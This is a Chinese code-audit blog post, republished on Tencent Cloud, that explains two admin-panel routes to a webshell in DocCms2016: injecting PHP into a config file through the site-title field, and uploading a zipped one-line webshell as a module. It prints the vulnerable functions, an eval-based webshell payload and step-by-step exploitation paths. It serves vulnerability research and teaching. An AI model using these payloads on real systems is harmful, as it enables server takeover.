【代码审计】后台Getshell的两种常规姿势

00

前言

在早些年刚接触web安全的时候,基础套路都是找注入--找后台--找上传点--找数据库备份--Getshell,然而在代码审计的角度,也存在类似的基本操作。

这里结合代码实例介绍白盒Getshell的两种常规姿势:写入配置文件Getshell、模块安装Getshell。

01

环境搭建

Doccms官网:http://www.doccms.com

程序源码:DocCms2016

下载地址:https://pan.baidu.com/s/1pLclifL

02

写入配置文件Getshell

代码分析:

1、在/admini/controllers/system/options.php,save函数通过一大串的表达式替换得到变量tempStr,然后调用了string2file函数写入配置文件,跟进这两个函数查看:


function save()
{
    global $request;
    if(filesize(ABSPATH.'/config/doc-config-'.$request['l'].'.php')>0){
        ……
        $tempStr = file2String(ABSPATH.'/config/doc-config-'.$request['l'].'.php');
        $tempStr = preg_replace("/\('WEBOPEN',.*?\)/i","('WEBOPEN',".$request['webopen'].")",$tempStr);
        $tempStr = preg_replace("/'WEBURL','.*?'/i","'WEBURL','".$request['weburl']."'",$tempStr);
        $tempStr = preg_replace("/'MOBILEURL','.*?'/i","'MOBILEURL','".$request['mobileurl']."'",$tempStr);
        $tempStr = preg_replace("/'WEBSIZE','.*?'/i","'WEBSIZE','".$request['websize']."'",$tempStr);
        $tempStr = preg_replace("/'SITENAME','.*?'/i","'SITENAME','".$request['sitename']."'",$tempStr);
                 ……

2、在/inc/function.php,第100-105行中,string2file函数,并未做任何处理,只是将字符串写入文件中:


function string2file($str,$filePath)
{
    $fp=fopen($filePath,'w+');
    fwrite($fp,$str);
    fclose($fp);
}

综上,在表达式替换字符串的过程中,只是作为简单的字符串替换,并未做任何匹配限制,我们可以将构造好的代码写入配置中,导致程序在实现上存在代码执行漏洞。

漏洞利用:

1、登录后台,在站点设置--基本设置--站点标题处,填写 Payload:test\');eval($_POST[g]);//

2、 成功写入全局配置文件doc-config-cn.php中:

3、直接访问http://127.0.0.1/config/doc-config-cn.php,显示403Forbidden,全局搜索 doc-config-cn.php,查找包含该文件的文件。

4、访问http://127.0.0.1/editor/keditor/php/upload_json.php,因此文件包含doc-config-cn.php,包含的代码执行漏洞被触发。

03

模块上传Getshell

代码分析:


function upload_model()
{
    //把模版先暂时上传在系统根目录的TEMP文件夹里,解决safe_mode On时无法上传在环境文件夹下
    //suny.2008.01.16
    $upload = new Upload(10000,'/temp/');
    $fileName = $upload->SaveFile('upfile');
    if(is_file(ABSPATH.'/temp/'.$fileName))
    {
        del_dir(ABSPATH.UPLOADPATH.'temp/');
        mkdirs(ABSPATH.UPLOADPATH.'temp/');
        if(unzip(ABSPATH.UPLOADPATH.'temp/',ABSPATH.'/temp/'.$fileName,ABSPATH.'/temp/'.$fileName)==1)
        {
            $doc = get_config_xmldoc('config');
            exec_config($doc);
            $doc = get_config_xmldoc('install');
            exec_install($doc);
            redirect('?m=system&s=managemodel');
        }
    }
}

在模块上传的过程中,先删除temp目录中存在的所有文件,然后解压缩文件到temp目录下,我们可以上传一个压缩打包好的一句话木马,自动解压缩到temp目录下,获取webshell。

漏洞利用:

1、模块管理--安装模块--上传zip压缩文件--上传完成--自动解压upload\temp目录下 可getshell

2、成功将一句话木马,上传到temp目录下

另外,在其他功能中,也找到了类似的操作,如:模板管理--上传模板--上传zip压缩文件--上传完成--自动解压\skins目录下,可getshell

04

END

如果手头拿到一套代码,想要了解如何去Getshell,除了上传点,那么这两种常规姿势是非常有效的,当然思路不局限,只是分享一个审计套路而已。

有朋自远方来,不亦乐乎?有对这方面有研究的童鞋,欢迎前来相互探讨,交流。

喜欢这篇文章的人也喜欢 · · · · · ·

【代码审计】EasySNS_V1.6远程图片本地化导致Getshell

【代码审计】SQL二次编码注入漏洞实例(附tamper脚本)

【代码审计】MIPCMS 远程写入配置文件Getshell

【代码审计】CLTPHP_v5.5.3前台XML外部实体注入漏洞

Bypass

About Me

一个网络安全爱好者,对技术有着偏执狂一样的追求。致力于分享原创高质量干货,包括但不限于:渗透测试、WAF绕过、代码审计、安全运维。

本文分享自微信公众号 - Bypass(Bypass--)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2018-04-15

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏JAVAandPython君

Scrapy框架| Scrapy中spiders的那些事......

今天继续更新scrapy的专栏文章,今天我们来聊一聊scrapy中spiders的用法。我们知道在整个框架体系中,spiders是我们主要进行编写的部...

10350
来自专栏Jerry的SAP技术分享

how is OData url select option implemented in the backend

使用如下url 进行测试: https://:4080/sap/opu/odata/sap/CRM_OPPORTUNITY/Opportunities?KaT...

9330
来自专栏JAVAandPython君

Scrapy框架| 详解Scrapy的命令行工具

今天开始JAP君正式来写Python的Scrapy爬虫框架的系列教程了,我大部分内容会根据Scrapy的官方文档来的,并且会写一些实战项目来练手。...

13430
来自专栏微信公众号【程序员黄小斜】

从三流小公司到一线大厂,聊聊程序员的成长之道

我想,没有一个程序员能够一步登天,一下子达到很高的高度,有些路是我们必须要走的,有些阶段是我们必须要经历的。有入门,才有进阶,才有更上一层楼。

12170
来自专栏happyJared

Cookie 的作用是什么,和 Session 有什么不一样

Cookie 和 Session 都是用来跟踪浏览器用户身份的会话方式,不过两者的应用场景不太一样。

10220
来自专栏Android干货

Android项目实战(五十六):获取WebView加载的url的请求错误码

例如需求,我有一个WebView 加载一个url, 该url对应的网页本身自带下拉刷新 ,但是网页本身会有出现400 500 等异常请求错误码

10820
来自专栏知识分享

9-STM32物联网开发WIFI(ESP8266)+GPRS(Air202)(微信配网配置_开发者基本配置_2)

https://www.cnblogs.com/yangfengwu/p/11062422.html

10310
来自专栏芋道源码1024

手写一个迷你版的 Tomcat 喵

Tomcat,这只3脚猫,大学的时候就认识了,直到现在工作中,也常会和它打交道。这是一只神奇的猫,今天让我来抽象你,实现你!

10720
来自专栏钱塘小甲子的博客

在Excel中获得汉字的首字母

Function hztopy(hzpy As String) As String

22510
来自专栏Jerry的SAP技术分享

ui5 resource file 404 error

所有前缀为mymap的resource 的relative url都设置为从./mymap出发,而不是resources/

10420

扫码关注云+社区

领取腾讯云代金券

年度创作总结 领取年终奖励